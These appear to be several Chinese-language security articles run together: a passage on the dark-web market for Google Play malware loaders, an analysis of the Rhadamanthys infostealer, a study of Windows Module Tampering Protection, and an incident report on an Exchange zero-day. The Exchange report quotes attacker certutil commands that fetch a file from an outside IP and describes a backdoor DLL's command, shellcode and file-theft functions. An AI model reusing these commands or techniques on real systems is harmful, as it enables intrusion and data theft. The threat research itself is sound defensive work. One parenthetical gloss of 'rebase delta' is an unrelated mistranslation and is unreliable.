其他服務暗網開發者也會為買家發布惡意或不需要的應用程序。在這種情況下，買家不會直接與Google Play互動，但可以遠程接收應用程序活動的成果，例如，所有被其竊取的受害者數據。

平均價格和常見銷售規則卡巴斯基的專家分析了提供Google Play相關服務的暗網廣告的價格，發現買家可以接受不同的支付方式。這些服務可以以最終利潤的份額提供，也可以以一次性價格出租或出售。一些開發者也會拍賣他們的商品：由於出售的商品數量有限，它們不太可能被發現，所以買家可能願意為它們競價。例如，在研究人員發現的一次拍賣中，Google Play裝入程序的起拍價是1500美元，最終7000美元成交。

7.jpeg

開發者拍賣Google Play裝入程序

在暗網論壇上觀察到的裝入程序的價格在2000美元到20000美元之間，這取決於惡意軟件的複雜性、新穎性和流行性，以及附加功能。裝入程序的平均價格是6975美元。

8.jpeg

Google Play裝入程序的平均報價

然而，如果攻擊者想購買裝入程序源代碼，價格會立即飆升，超過價格範圍的上限。

9.jpeg

開發者以20000美元的價格提供Google Play裝入程序源代碼

與裝入程序不同，Google Play開發者帳戶（無論是被黑客入侵的還是由攻擊者新創建的）都可以很便宜地購買，例如，只需200美元，有時甚至只需60美元。價格取決於帳戶功能，如已發布的應用程序數量、下載數量等。

10.jpeg

用戶想購買一個可以訪問用戶電子郵件的Google Play帳戶

除了許多優惠外，研究人員還在暗網上發現了許多想要以特定價格購買特定產品或服務的信息。

11.jpeg

攻擊者正在尋找新的Google Play裝入程序

12.jpeg

用戶想買一個新的裝入程序

交易過程暗網上的服務提供商提供了一整套不同的工具和服務。為了保持他們的活動不被發現，很大一部分攻擊者會通過暗網論壇上的私人消息或社交網絡和Telegram進行溝通。

在暗網開發者中，為了降低交易風險，攻擊者經常求助於無私的中介機構——託管服務或中間商。託管可能是一種特殊服務，由影子平台或對交易結果不感興趣的第三方支持。然而，請注意，在暗網上，沒有什麼能100%消除被騙的風險。

總結從暗網上此類威脅的供應量和需求量來看，可以斷定此類威脅只會增長，並變得更加複雜和先進。

防護措施：

不要啟用未知應用程序的安裝。如果某個應用程序催促你下載安裝，那麼要小心了。如果可能，請卸載該應用程序，並使用防病毒軟件掃描設備。

檢查你使用的應用程序的權限，並在授予不需要的權限之前仔細考慮，尤其是在涉及輔助功能服務等高風險權限時。比如，手電筒應用程序唯一需要的權限就是使用手電筒。

使用可靠的安全解決方案，可以幫助你在惡意應用程序和廣告軟件在設備上出現不當行為之前發現它們。

隨時更新你的操作系統和重要應用程序。要確保應用程序更新是良性的，請在安全解決方案中啟用自動系統掃描，或者在安裝更新後立即掃描設備。

對於組織來說，有必要使用強密碼和雙因素驗證保護其開發人員帳戶，並監控暗網，以儘早檢測和緩解憑據洩漏風險。

HireHackking

Rhadamanthys是一款很高級的信息竊取程序，於去年9月在暗網上首次亮相，亮相之初即受到了攻擊者的熱捧。

2022年9月24日，一個化名“kingcrete2022”的用戶發布了以下內容：

1.png

開發者並沒有急於將該產品投放市場，他們已經以“kingcrete2022”的化名在論壇上潛伏了半年，實際可能比其他化名的時間還要長。惡意軟件的整體性構建在正式發布前整整一個月就已經編譯完成了。在正式發布後，一系列瘋狂的版本更新便開始了，開發者添加了一長串功能和子功能，並提供了英語和俄語支持。很快數千個用戶的信息、數十萬個密碼和數百個加密貨幣錢包就被竊取。為了擴大攻擊範圍，開發者還對購買其服務的用戶提供了售後服務。

2.png

攻擊目標理論上，Rhadamanthys的開發者並不關心用戶如何處理竊取者竊取的非法數據，不管是實施欺詐、出售數據、發動內戰，對開發者來說都是一樣的。實際上，這種現成惡意軟件的主要客戶是投機取巧的網絡犯罪分子，他們的目標是在任何時間感染任何人。因此，活動受害者遍布世界各地，特別是在一些地方，一些運營商已經開始進行創造性迭代了，比如一個活動以OBS studio等視頻編輯軟件為幌子傳播樣本，通過谷歌廣告推送給不知情的受害者。

3.png

攻擊熱圖一般來說，操作這類惡意軟件的攻擊者通常不像大型勒索軟件組織那樣太關心大型目標。對他們來說，這只是一場數字遊戲，即從眾多受害者身上榨取金錢。儘管如此，從統計數據來看，這些攻擊的最終目標確實是針對大型組織的；通過監測，我們能夠確認Rhadamanthys試圖感染加拿大的一家政府機構，以及印度基礎設施部門的一家能源公司。

功能概述Rhadamanthys中包含的功能非常多，其設計原則就是囊括信息竊取所需的一切功能和有關擴展。

Rhadamanthys的功能列表包括竊取受害者的系統信息：計算機名稱、用戶名、內存容量、CPU內核、屏幕分辨率、時區、地理位置、環境、安裝的軟件、屏幕截圖、cookie、歷史記錄、自動填充、保存的信用卡、下載、收藏夾和擴展，它從FTP客戶端竊取憑據——Cyberduck、FTP Navigator、FTPRush、FlashFXP、Smartftp、TotalCommander、Winscp、Ws_FTP和Coreftp；以及來自郵件客戶端CheckMail, Clawsmail, GmailNotifierPro, Mailbird, Outlook, PostboxApp, Thebat! Thunderbird, TrulyMail, eM和Foxmail；它從雙因素驗證應用程序和密碼管理器RoboForm、RinAuth、Authy和KeePass竊取憑據；VPN業務，包括AzrieVPN、NordVPN、OpenVPN、PrivateVPN_Global_AB、ProtonVPN和WindscribeVPN；筆記應用程序，包括NoteFly、Notezilla、Simple Stick Notes和Windows Stick Notes；即時通訊應用程序的消息歷史記錄，包括Psi+、Pidgin、tox、Discord和Telegram；此外，它還竊取了Steam、TeamViewer和SecureCRT的受害者憑據。

5.png

當Filezilla FTP憑據出現在攻擊者端時被竊取

開發者特別強調了與竊取加密貨幣相關的功能，在一個版本更新中，有9項新功能，其中4項是對加密貨幣錢包的竊取和破解的增強。最初版本中支持的錢包列表確實很難處理，包括Auvitas, BitApp, Crocobit, Exodus, Finnie, GuildWallet, ICONex, Jaxx, Keplr, Liquality, MTV, Metamask, Mobox, Nifty, Oxygen, Phantom, Rabet, Ronin, Slope, Sollet, Starcoin, Swash, Terra, Station, Tron, XinPay, Yoroi, ZilPay, Coin98, Armory, AtomicWallet, Atomicdex, Binance, Bisq, BitcoinCore, BitcoinGold, Bytecoin, coinomi, DashCore, DeFi, Dogecoin, Electron, Electrum, Ethereum, Exodus, Frame, Guarda, Jaxx, LitecoinCore, Monero, MyCrypto, MyMonero, Safepay, Solar, Tokenpocket, WalletWasabi, Zap, Zcash 和Zecwallet。

所有這些竊取行為都是在感染後自動執行的，如果攻擊者決定對受感染的設備進行更多的操作，他們可以將新配置推到“文件抓取”模塊，該模塊將竊取與windows搜索查詢匹配的所有文件或者對於真正的高級用戶，將手工製作的powershell推到受害設備上執行。

6.png

在攻擊者端出現時被竊取的環境變量

7.png

“文件抓取”模塊在攻擊者端出現時竊取的文件

技術分析初步執行流程該惡意軟件在進入信息竊取功能之前要經歷六個執行階段：滴管、shellcode、安裝程序等。

在分析Rhadamanthys時，我們觀察到分析樣本的邏輯與上述文章中詳細描述的邏輯之間的差異，這證明了惡意軟件還在不斷開發中。最值得注意的是NSIS加載程序DLL的行為，在我們分析的執行流中，它從C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\AppLaunch.exe創建一個掛起的進程，然後用注入的惡意代碼逐個替換掛起的進程。

8.png

如上所述，注入的代碼會依次加載幾個執行階段，其中一個階段嘗試從Al-Khaser項目中獲取許多VM逃避，然後解綁ntdll.dll中的函數，以避免被檢測到。最後，它解析了一個內部混淆的C2地址，並從其中下載包含實際信息竊取功能的最後階段。

分析孤立內存轉儲分析實際的竊取邏輯並不是那麼簡單，在無法訪問實時C2服務器的情況下，分析師有兩種選擇。要么他們去執行一個全新的執行鏈，對所有階段進行調試，並希望獲得一個實時的C2服務器，該服務器會使用很多啟發式方法將它們竊取；或者在不可讀的狀態下使用轉儲，這些轉儲是在C2仍然存在時從沙箱運行中獲得的。在這種特殊的情況下，內存轉儲包含許多說明惡意軟件大致行為的字符串，但是在進行適當的交互式反彙編之前存在許多障礙。

第一個也是最主要的障礙是缺乏API調用的解決方案。在反彙編程序中打開轉儲，然後進行函數調用，可以很快地運行一個必須是動態解析函數的自製導入表。轉儲是沙箱運行的產物，早就結束了，現在這些地址似乎毫無意義。我們能夠使用下面將要解釋的方法來解析幾乎每個函數。

9.png

首先，我們知道，在沙箱運行期間，這些地址指向加載到內存中的DLL。第二，我們知道執行是在擁有代碼名為Win10v2004-20220812-en的tria.ge環境中運行的。我們將自己的虛擬可執行文件上傳到沙箱中，確保我們選擇的環境與原始沙箱運行中使用的環境相同，然後查看我們選擇的DLL並恢復DLL版本。

10.png

不幸的是，即使我們有DLL版本，微軟也沒有那麼慷慨地提供DLL的歷史版本供下載。這類問題有多種解決方法，你可以上winbindex查找。我們選擇使用tria.ge的一個功能：許多用戶要求提供手動轉儲執行流中生成的文件的功能。作為一種解決方案，沙箱引入了一項功能，允許用戶轉儲他們想要的任何文件，只要他們打開windows文件資源管理器並手動刪除那裡的文件。好吧，如果我們嘗試將kernel32.dll從C:\windows\system32中的駐留位置刪除，操作系統將不會允許，但沒有什麼能阻止我們將文件複製到其他地方，然後刪除副本。在原始沙箱運行期間加載到內存中的同一個DLL現在可以在分析結束後從分析報告的“下載”部分獲得。

11.png

通過這種方式，我們下載了許多dll，這些dll是惡意軟件或任何軟件真正想要解析API的始作俑者，如advapi32.dll、user32.dll、msvcrt.dll、ws2_32.dll等。現在我們可以在反彙編程序中打開這些文件，手動加載文件並為每個DLL函數分配虛擬地址。遺憾的是，我們還遠遠沒有完成，因為我們仍然不知道DLL最初加載時的基址，甚至不知道特定的DLL包含某個內存地址所指向的函數。

即使不知道哪一個是相關的DLL，也可以通過簡單的觀察在一定程度上緩解，例如，在下圖中，函數qword_c5c08（指針值0x7ffbf1bd5f20）將註冊表項作為參數，因此很可能來自advapi32.dll。但這不會適用於每個dll，我們不會總是足夠幸運地找到一個函數，惡意軟件會將這樣一個硬編碼字符串作為參數。更關鍵的是，即使我們以某種方式知道每個函數地址的正確DLL，這仍然不會告訴我們在最初的沙箱運行期間加載DLL的原始地址，這對於計算當時加載到內存中的函數地址(我們正在嘗試解析)與我們在反彙編程序中打開的加載的帶註釋的DLL中的標記函數地址之間的rebase delta（基於深度學習的語音和自然語言理解模型訓練平台）是必要的。

12.png

qword_c5c08可能是一個以某種方式與Windows註冊表交互的函數

為了克服這個障礙，我們注意到沙箱轉儲中的函數地址可能被劃分為連續的序列，每個序列都是從同一個DLL導入的。這意味著，如果我們從表中取出10個qword指針，幸運的是它們都是從同一個DLL中解析的，那麼當加載到內存中時，在該DLL中，這10個函數的地址之間將存在相同的差異。為了講解方便，我們舉一個示例：假設我們要解析的10個地址列表以某個地址AX開始，然後以AX+0x300、AX+0x500、AX+0x930等六個其他地址繼續；進一步假設，在一個加載和註釋的DLL中，我們發現對於某個地址AY，恰好AY+0x300、AY+0x500、AY+0x930等都是函數的地址。這是一個非常幸運的巧合，它本身就發生了，原始沙箱運行中的原始地址AX解析為我們註釋文件中AY中的函數。通過查看與列表中的地址匹配的10個函數名，並驗證它們似乎是沙箱中運行的軟件所需的合理列表，可以進一步檢查匹配情況。

以下IDAPython代碼在加載的DLL數據庫中運行時，將自動執行查找函數地址序列匹配項的任務：

13.png

例如，上圖中看到的地址(我們懷疑是從advapi32.dll解析出來的地址)出現在以下10個地址的序列中：

14.png

我們打開從沙箱中轉儲的advapi32.dll文件的註釋idb，加載上面的IDA腳本，並運行函數dll_match，將此地址列表作為輸入。作為輸出，我們收到這些函數地址中每一個的正確分辨率。

15.png

事實證明，在沙箱運行期間加載到地址0x7ffbf1bd5f20的上述函數是RegQueryValueExW。使用這種方法，可以很容易地“挑選”並嘗試對各種dll運行相同的腳本，以查看獲得了哪些匹配，以及它們的可行性。雖然特定的工作流程不能很好地擴展，但如果需要的話，不難看出如何簡化流程，例如，通過保留許多DLL版本的函數地址差異的預計算數據庫，並對其進行所有差異比較。

竊取Chrome信息的過程示例

即使解決了API調用，數據庫仍然非常大，包含超過2500個函數。其中許多是來自第三方庫的庫函數，如sqlite3和lua_cjson，這帶來了另一個麻煩，因為解析這些函數需要我們編譯這些庫的註釋版本，然後執行bindiff（或類似的操作）來標記Rhadamanthys使用的函數。這是一個出了名的挑選過程，許多標籤在手動驗證之前並沒有太大用處。

綜上所述，數據庫的狀態現在更令人滿意，並允許我們以以前無法做到的方式分析執行流。例如，我們將重點關注惡意軟件從谷歌Chrome中竊取存儲的登錄憑據、cookie等的能力，包括三個階段：正在搜索包含所有數據的正確目錄；

從包含cookie、登錄數據等的感興趣的文件中讀取原始數據；

根據數據是JSON還是SQL數據庫格式，使用第三方庫邏輯對數據進行解析；

惡意軟件首先在受害者文件系統中遞歸搜索名為“web data”的文件，以導航到%LOCALAPPDATA%\\Google\\Chrome\\User data\\default，然後遍歷樹查找其他工件，如“Cookie”或“登錄數據”，並將每個匹配項收集到二進制位字段中；如果這個字段非零，那麼惡意軟件就會確信它已經正確定位了Chrome目錄。

16.1.png

16.2.png

然後，惡意軟件會訪問用戶感興趣的文件，比如登錄數據。其中一些文件是SQL數據庫，在這種情況下，惡意軟件從內存中的文件內容初始化SQL數據庫，然後通過發出SELECT語句獲得所需的數據。相比之下，其他的則是JSON格式，因此惡意軟件會調用一個函數來解析JSON並提取與某個項相關的值：

17.1.png

17.2.png

通過將信息解析為明文格式，現在可以將其附加到被盜信息數據庫中，並最終報告給攻擊者，從而得到針對該特定目標（Chrome）的盜竊功能。

總結Rhadamanthys代表著在新興惡意軟件發展的趨勢，即它們盡可能多地發揮作用，也證明了在惡意軟件行業，品牌的影響力慢慢變大。一些讀者可能還記得Godzill加載程序的模式，它的零售價格只有Emotet的四分之一，並提供一系列與Emotet截然不同的功能，以增強其競爭力。這清楚地表明，攻擊者不會明確計算哪些功能集會為他們帶來更多的受害者，他們依賴於一種模糊的感覺，即他們對開發者、品牌和功能更看重。任何開發人員都可以編寫一段惡意軟件，有些開發人員甚至可以編寫一個具有完整功能的惡意軟件，但需要市場的認可。

HireHackking

什麼是模塊篡改保護？模塊篡改保護是一種緩解措施，可防止對進程主映像的早期修改，例如IAT 掛鉤或進程空心化。它一共使用了三個API：NtQueryVirtualMemory、NtQueryInformationProcess 和NtMapViewOfSection。如果啟用，加載程序將在調用入口點之前檢查主圖像標頭和IAT 頁面中的更改。它通過使用信息類MemoryWorkingSetExInformation 調用NtQueryVirtualMemory 來做到這一點。返回的結構包含有關頁面共享狀態的信息，以及是否從其原始視圖修改。如果標頭或IAT 已從其原始映射修改。例如，如果主圖像已被取消映射，並且已在其位置映射了另一個圖像，則加載器將使用類ProcessImageSection 調用NtQueryInformationProcess 以獲取主圖像部分，然後將使用NtMapViewOfSection 重新映射它。這樣，新部分將被使用，篡改的圖像副本將被忽略。

此緩解從RS3 開始可用，並且可以使用PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_MASK 在進程創建時啟用。

模塊篡改保護緩解措施是如何發現的如果微軟從未宣布或記錄某些緩解措施，那人們如何才能發現這些緩解措施？因此，一個值得關注的好地方是EPROCESS 結構中的各種MitigationFlags 字段。目前存在三個MitigationFlags 字段（MitigationFlags、MitigationFlags2、MitigationsFlags3），每個字段包含32 位。在前兩個中，整個32位已經被使用，所以最近添加了MitigationFlags3，目前包含三個緩解措施，我相信很快會添加更多。這些標誌代表進程中啟用的緩解措施。例如，我們可以使用WinDbg 為當前進程打印EPROCESS.MitigationFlags：

1.png

最後，在位28 和29 中，我們可以看到值EnableModuleTamperingProtection 和EnableModuleTamperingProtectionNoInherit。不幸的是，搜索這些名稱並沒有得到任何好的結果。有幾個網站只顯示結構而沒有解釋，一個模糊的堆棧溢出答案簡要提到了EnableModuleTamperingProtectionNoInherit 而沒有添加細節，還有這條推文：

2.png

不出所料，最詳細的解釋是Alex Ionescu 2017 年發布的一條推文。這雖並不是完整的文檔，但它是一個開始。如果你已經了解並理解構成此緩解措施的概念，那麼這一系列的推文可能會非常清楚地解釋有關該特性的所有內容。

開始搜索進程緩解實現的第一個地方通常是內核：ntoskrnl.exe。然而，這是一個巨大的二進製文件，不容易搜索。似乎沒有與此緩解措施完全相關的函數名稱，所以沒有明顯的地方可以開始。

相反，你可以嘗試不同的方法並嘗試找到對EPROCESS 的MitigationFlags 字段的引用，並可以訪問這兩個標誌中的一個。但除非你可以訪問Windows 源代碼，否則沒有簡單的方法可以做到這一點。但是，你可以做的是利用EPROCESS 是一個大型結構並且MitigationFlags 存在於它的末尾，偏移量0x9D0 的事實。一種非常粗暴但有效的方法是使用IDA 搜索功能並蒐索所有對9D0h 的引用：

3.png

這會很慢，因為它是一個很大的二進製文件，並且一些結果與EPROCESS 結構無關，因此你必須手動搜索結果。此外，僅查找對該字段的引用是不夠的，MitigationFlags 包含32 位，其中只有兩個與當前上下文相關。所以，你必須搜索所有的結果，找出以下情況：

0x9D0被用作EPROCESS結構的偏移量——因為無法保證知道每種情況使用的結構類型，儘管對於較大的偏移量，只有少數選項可以是相關的，它主要可以通過函數名稱和上下文來猜測。

比較或設置MitigationFlags字段為0x10000000 (EnableModuleTamperingProtection)或0x20000000 (EnableModuleTamperingProtectionNoInherit)。或者通過諸如bt或bts之類的彙編指令，按位數測試或設置位28或位29。

運行搜索後，結果看起來像這樣：

4.png

你現在可以瀏覽結果並了解內核使用了哪些緩解標誌以及在哪些情況下使用。然後我會告訴你，這個努力完全沒有用，因為EnableModuleTamperingProtection 在內核中的一個地方被引用：PspApplyMitigationOptions，當創建一個新進程時調用：

5.png

因此，內核會跟踪是否啟用了此緩解措施，但從不對其進行測試。這意味著緩解措施本身在其他地方實現。這種搜索可能對這種特定的緩解措施毫無用處，但它是找出緩解措施實現位置的幾種方法之一，並且對其他流程緩解措施很有用，所以我想提一下它。

現在讓我們回到模塊篡改保護，有時會實現進程緩解的第二個位置是ntdll.dll，它是每個進程中要加載的第一個用戶模式映像。此DLL 包含所有進程所需的加載程序、系統調用存根和許多其他基本組件。在這裡實現這種緩解是有意義的，因為顧名思義它與模塊加載有關，這通過ntdll.dll 中的加載器發生。此外，這是一個包含Alex 在他的推文中提到的功能的模塊。

即使我們沒有這條推文，只要打開ntdll 並蒐索“tampering”，我們就能很快找到一個結果：函數LdrpCheckPagesForTampering。尋找這個函數的調用者，我們看到它是從LdrpGetImportDescriptorForSnap調用的：

6.png

在截圖的第一行，我們可以看到兩個檢查：第一個驗證當前正在處理的條目是主圖像，因此該模塊被加載到主圖像模塊中。第二個檢查是LdrSystemSllInitBlock.MitigationOptionsMap.Map中的兩個位。我們可以看到這裡檢查的確切字段只是因為我對LdrSystemDllInitBlock 應用了正確的類型，如果你在沒有應用正確類型的情況下查看這個函數，你會看到一些隨機的、未命名的內存地址被引用。 LdrSystemDllInitBlock 是一個數據結構，包含加載程序所需的所有全局信息，例如進程緩解選項。它沒有記錄，但具有符號中可用的PS_SYSTEM_DLL_INIT_BLOCK 類型，因此我們可以在此處使用它。請注意，雖然此結構在NTDLL 符號中不可用，而是你可以在ole32.dll 和combase.dll 的符號中找到它。 MitigationOptionsMap 字段只是三個ULONG64 的數組，其中包含標記為此過程設置的緩解選項的位。我們可以在WinBase.h 中找到所有緩解標誌的值。以下是模塊篡改保護的值：

7.png

這些值與Map頂部的DWORD 相關，因此模塊篡改保護位實際上位於Map的第44 位，在Hex Rays 屏幕截圖中以及在PspApplyMitigationOptions 中檢查的是相同位。

現在我們知道該緩解措施在哪裡應用了檢查，因此我們可以開始查看實現並了解該緩解措施的作用。

實現細節再次查看LdrpGetImportDescriptorForSnap：在我們已經看到的兩次檢查之後，該函數獲取主圖像的NT 標頭並調用LdrpCheckPagesForTampering 兩次。第一次發送的地址是imageNtHeaders-OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]，圖像的導入表，大小為8 個字節。第二次使用NT 標頭本身的地址和大小調用該函數。如果這些頁面中的一個被認為被篡改了，LdrpMapCleanModuleView將被調用(根據名稱判斷)映射主圖像模塊的一個乾淨的視圖。

讓我們看看LdrpCheckPagesForTampering 內部，看看NTDLL 如何判斷一個頁面是否被篡改：

8.png

首先，此函數計算請求的字節範圍內的頁數（在本文的兩個示例中，該數字都是1）。然後它分配內存並使用MemoryInformationClass==4 (MemoryWorkingSetExInformation) 調用ZwQueryVirtualMemory。這個系統調用和信息類是安全人員可能不太經常看到的，工作集是一種基於物理內存頁面當前狀態來管理和優先級排序的方法，因此大多數安全人員通常不感興趣。然而，工作集確實包含一些我們感興趣的屬性。具體來說，是“共享”標誌。

我不會在這裡詳細介紹映射和共享內存，因為它們在很多其他地方都有解釋。但簡而言之，系統盡量不復制內存，因為這意味著物理內存將很快被複製的頁面填滿，主要是那些屬於圖像和DLL 的頁面，像ntdll.dll 或kernel32.dll 的系統DLL被映射到大多數係統中的進程，因此在物理內存中為每個進程單獨創建一個副本只是浪費。因此，這些圖像頁面在所有進程之間共享。也就是說，除非以任何方式修改圖像。圖像頁面使用一種稱為“寫時復制(copy-on-write)”的特殊保護，它允許頁面可寫，但如果頁面被寫入，則會在物理內存中創建一個新副本。這意味著對DLL 的本地映射所做的任何更改（例如，用戶模式掛鉤的寫入或任何數據更改）都只會影響當前進程中的DLL。

這些設置保存為可以通過NtQueryVirtualMemory 查詢的標誌，這裡使用的信息類：MemoryWorkingSetExInformation。它將在MEMORY_WORKING_SET_EX_INFORMATION 結構中返回有關查詢頁面的數據：

9.png

這個結構為你提供了被查詢的虛擬地址，以及包含頁面狀態信息的位，例如：它的有效性、保護以及它的共享狀態。有幾個不同的位與頁面的共享狀態相關：

共享——頁面是可共享的嗎？這並不一定意味著該頁當前與任何其他進程共享，但是，例如，除非進程特別請求，否則私有內存不會被共享。

ShareCount——此字段告訴你此頁面存在多少映射。對於當前未與任何其他進程共享的頁面，這將是1。對於與其他進程共享的頁面，這通常會更高。

SharedOriginal ——該標誌會告訴你該頁面是否存在映射。因此，如果一個頁面被修改，導致在物理內存中創建一個新副本，這將被設置為零，因為這不是頁面的原始映射。

此SharedOriginal 位是由LdrpCheckPagesForTampering 檢查的，以判斷此頁面是原始副本還是由於更改而創建的新副本。如果這不是原始副本，這意味著該頁面以某種方式被篡改，因此該函數將返回TRUE。 LdrpCheckPagesForTampering 對正在查詢的每個頁面運行此檢查，如果其中任何一個被篡改，則返回TRUE。

如果函數對任何檢查範圍返回TRUE，則調用LdrpMapCleanModuleView：

10.png

這個函數簡短而簡單：它使用InformationClass==89 (ProcessImageSection) 調用NtQueryInformationProcess 來獲取主圖像的部分句柄，然後使用NtMapViewOfSection 重新映射它並關閉句柄。它將新部分的地址寫入DataTableEntry-SwitchBackContect，以代替原來的篡改映射。

為什麼該特性特別選擇檢查這兩個範圍——導入表和NT 標頭？這是因為這兩個地方經常會成為試圖虛化進程的攻擊者的目標。如果主圖像未映射並被惡意圖像替換，則NT 標頭將不同並被視為已篡改。進程空心化（Process hollowing）還可以篡改導入表，以指向與進程預期不同的函數。所以，這主要是一個反空心化的功能，目標是發現主圖像中的篡改企圖，並用一個沒有被篡改的新圖像副本替換它。

功能限制不幸的是，此功能相對有限。你可以啟用或禁用它，僅此而已。實現緩解的函數是內部調用，不能在外部調用。因此，例如，除非你自己編寫代碼（並手動映射模塊，因為這些部分的句柄不方便地存儲在任何地方），否則不可能將緩解擴展到其他模塊。此外，此緩解不包含日誌記錄或ETW 事件。當緩解通知在主圖像中被篡改時，它會靜默映射並使用新副本，並且不會留下任何痕跡供安全產品或團隊查找。唯一的提示是NtMapViewOfSection 將再次為主圖像調用並生成ETW 事件和內核回調。但這很可能會被忽視，因為它並不一定意味著發生了不好的事情，並且可能不會導致任何警報或對可能是真正的攻擊的重大調查。

從好的方面來說，這種緩解非常簡單和有用，如果你想實現它，則很容易模仿，例如檢測放置在你的進程上的鉤子並映射一個新的、未掛鉤的頁面副本以供使用。你可以這樣做，而不是使用直接系統調用！

該緩解措施有人使用過嗎？在WinDbg 中運行查詢，我沒有發現任何啟用模塊篡改保護的進程的結果。經過一番探索，我設法找到了一個啟用此功能的進程：SystemSettingsAdminFlows.exe。此過程在你打開Windows 設置菜單中的應用程序-可選功能時執行。我不知道為什麼這個特定的進程會使用這種緩解措施，或者為什麼它是唯一一個這樣做的，但這是迄今為止我設法找到的唯一一個啟用模塊篡改保護的過程。

HireHackking

8月初，在執行安全監控和事件響應服務時，GTSC SOC團隊發現一個關鍵基礎架構受到攻擊，經過分析這是專門針對Microsoft Exchange應用程序的。在調查期間，GTSC Blue Team專家確定，攻擊者利用了一個未公開的Exchange安全0 day 漏洞，因此立即制定了臨時緩解計劃。與此同時，安全專家開始研究和調試Exchange反編譯代碼，以查找漏洞並利用代碼。經分析，該漏洞非常嚴重，使得攻擊者能夠在受攻擊的系統上執行RCE。 GTSC立即將該漏洞提交給Zero Day Initiative (ZDI)，以便與微軟合作，盡快準備修補程序。 ZDI驗證並確認了2個漏洞，CVSS評分分別為8.8和6.3。

1.png

不過截至目前，修復程序還未發布，GTSC已經發現其他客戶也遇到了類似攻擊。經過仔細測試，研究人員確認這些系統正受到此0 day零日漏洞的攻擊。

漏洞信息在為客戶提供SOC服務時，GTSC Blueteam在IIS日誌中檢測到與ProxyShell漏洞格式相同的攻擊請求,如下所示：

加图1.png

研究人員還檢查了其他日誌，發現攻擊者可以在受攻擊的系統上執行命令。這些Exchange服務器的版本號表明已安裝最新更新，因此使用Proxyshell漏洞進行攻擊的行為讓研究人員可以確認這是一個新的0 dayRCE漏洞。這些信息被發送給了安全分析師後，他們對為什麼漏洞利用請求與ProxyShell bug類似？ RCE是如何實施的？等問題進行了研究。

經過分析，研究人員成功地找到瞭如何使用上述路徑訪問Exchange後端中的組件並執行RCE。然而，處於安全考慮，目前我們還不想發布該漏洞的技術細節。

利用後（Post-exploit）活動在追踪到有關攻擊示例後，研究人員開始收集信息並在受害者的系統中建立一個立足點。另外，攻擊者還使用各種技術在受影響的系統上創建後門，並對系統中的其他服務器執行橫向移動。

Webshell我們檢測到Webshell被丟棄到Exchange服務器，其中大部分是模糊的。通過用戶代理，我們檢測到攻擊者使用了Antsword，這是一個基於中文的開源跨平台網站管理工具，支持webshell管理。

加图2.png

另一個值得注意的特點是，攻擊者還將文件RedirSuiteServiceProxy.aspx的內容更改為webshell內容。 RedirSuiteServiceProxy.aspx是Exchange服務器中可用的合法文件名。

在另一個客戶的事件響應過程中，GTSC注意到攻擊組織使用了另一個webshell模板。

Filename:errorEE.aspx

SHA256:be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

Ref:https://github.com/antonioCoco/SharPyShell命令執行除了收集系統信息外，攻擊者還通過certutil下載文件並檢查連接，certutil是Windows環境中可用的合法工具。

“cmd”/ccd/d'c:\\PerfLogs'certutil.exe-urlcache-split-fhttp://206.188.196.77:8080/themes.aspxc:\perflogs\techo[S]cdecho[E]

'cmd'/ccd/d'c:\\PerfLogs'certutil.exe-urlcache-split-fhttps://httpbin.org/getc:\testecho[S]cdecho[E]需要注意的是，每個命令都以字符串echo[S]cdecho[E]結尾。

此外，攻擊者還將惡意DLL注入內存，在受攻擊的服務器上釋放可疑文件，並通過WMIC執行這些文件。

可疑文件在服務器上，研究人員檢測到exe和dll格式的可疑文件：

3.png

在可疑文件中，根據服務器上執行的命令，研究人員確定all.exe和dump.dll負責在服務器系統上轉儲憑證。之後，攻擊者使用rar.exe壓縮轉儲文件並複製到Exchange服務器的webroot中。不幸的是，在響應過程中，上述文件在受攻擊的系統中不再存在，可能是由於攻擊者刪除了證據。

被釋放到C:\PerfLogs\文件夾中的cmd.exe文件是標準的Windows命令行工具cmd.exe。

惡意軟件分析DLL信息

文件名：Dll.Dll

Sha256:

074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82

45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9

9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0

29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3

c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2DLL分析GTSC分析一個特定的樣本(074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82)來描述惡意代碼的行為，其他DLL樣本有類似的任務和行為，只是偵聽器配置不同。

DLL由兩個類組成：Run和m，每個類都調用執行不同任務的方法。具體地說：

Run類創建一個偵聽器，偵聽路徑為https://*:443/ews/web/webconfig/的端口443的連接。

5.png

偵聽後，惡意軟件創建一個調用r的新線程。方法r執行以下操作：

1.檢查接收到的請求正文中是否有數據，如果沒有，則返回結果404。

2.相反，如果請求包含數據，DLL將繼續處理if分支內的流：

檢查收到的請求是否包含“RPDbgEsJF9o8S=”。如果是，調用類m中的方法i來處理收到的請求。從Run.m.i返回的結果將轉換為一個base64字符串。以以下格式返回給客戶端的結果：

6.png

m類方法i可以：

1.使用AES算法對收到的請求進行解密，其中請求的前16個字節是IV值，後16個字節為key值，其餘為數據。

2.解碼後，獲取數組中的第一個元素作為標誌，以處理定義的情況，處理定義的情況如下：

7.png

示例1：調用方法info。該方法主要負責收集系統信息，比如操作系統架構、框架版本、操作系統版本等信息。 GTSC用下圖模擬本示例。請求以以下格式發送：前16字節是IV值，後16字節是key值，後面是一個指定選項的標誌，其餘是數據。

base64 (IV | key | aes(flag|data))

8.png

示例2：調用方法sc，調用sc方法，該方法負責分配內存來實現shellcode。

9.png

示例3：調用兩個方法p和r。方法p處理由“|”字符分隔的數據，保存到數組array3。數組array 3將前兩個元素作為方法r的參數，該方法負責執行命令。

10.png

示例4：調用方法ld，該方法負責以以下這種格式列出目錄和文件信息：

加图3.png

11.png

示例5：調用方法wf，該方法負責寫入文件：

12.png

示例6：調用方法rf，該方法負責讀取文件：

13.png

示例7：創建文件夾；

示例8：刪除文件或文件夾；

示例9：移動文件；

示例10：設置文件時間；

14.png

示例11：加載並執行從請求接收的C#字節碼。

15.png

其他DLL示例具有類似的任務，只是偵聽器配置不同，如下所示：

Victim 1:

